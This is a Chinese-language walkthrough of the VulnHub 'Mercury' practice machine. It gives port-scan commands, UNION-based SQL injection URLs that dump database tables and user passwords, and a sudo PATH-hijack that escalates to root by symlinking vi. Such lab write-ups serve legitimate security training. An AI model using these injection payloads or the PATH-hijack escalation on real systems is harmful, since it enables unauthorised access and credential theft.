vulnhub-Mercury

靶机描述

Difficulty: Easy

Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com

下载 https://www.vulnhub.com/entry/the-planets-mercury,544/

清单

• 信息搜集

  • netdiscover
  • nmap

• 利用

  • sql注入

• 提权

  • sudo

信息搜集

靶机IP

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5uRAiFrP-1601208030462)(http://do.yutian233.xyz/image-20200927194449462.png)]

端口扫描

nmap -sS -sV -p- 192.168.0.112

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.8.2

8080

由python 搭建

当访问时 http://192.168.0.112:8080/1

可以看出给出了目录 mercuryfacts

mercuryfacts

存在sql注入

http://192.168.0.112:8080/mercuryfacts/88888  union select group_concat(table_name) from information_schema.tables where table_schema=database()
(('facts,users',),)


http://192.168.0.112:8080/mercuryfacts/88888 union select group_concat(column_name) from information_schema.columns where table_name='users'
 (('id,password,username',),)


http://192.168.0.112:8080/mercuryfacts/88888 union select group_concat(id,password,username) from users
(('1johnny1987john,2lovemykids111laura,3lovemybeer111sam,4mercuryisthesizeof0.056Earthswebmaster',),)

使用 webmaster mercuryisthesizeof0.056Earths 来登录

webmaster

拿到shell 来到 notes.txt

得到用户 linuxmaster 用户的密码

linuxmaster

提权方法来自

ln -s /bin/vi tail
export PATH=.:$PATH
sudo -u root --preserve-env=PATH /usr/bin/check_syslog.sh

:/bin/bash

root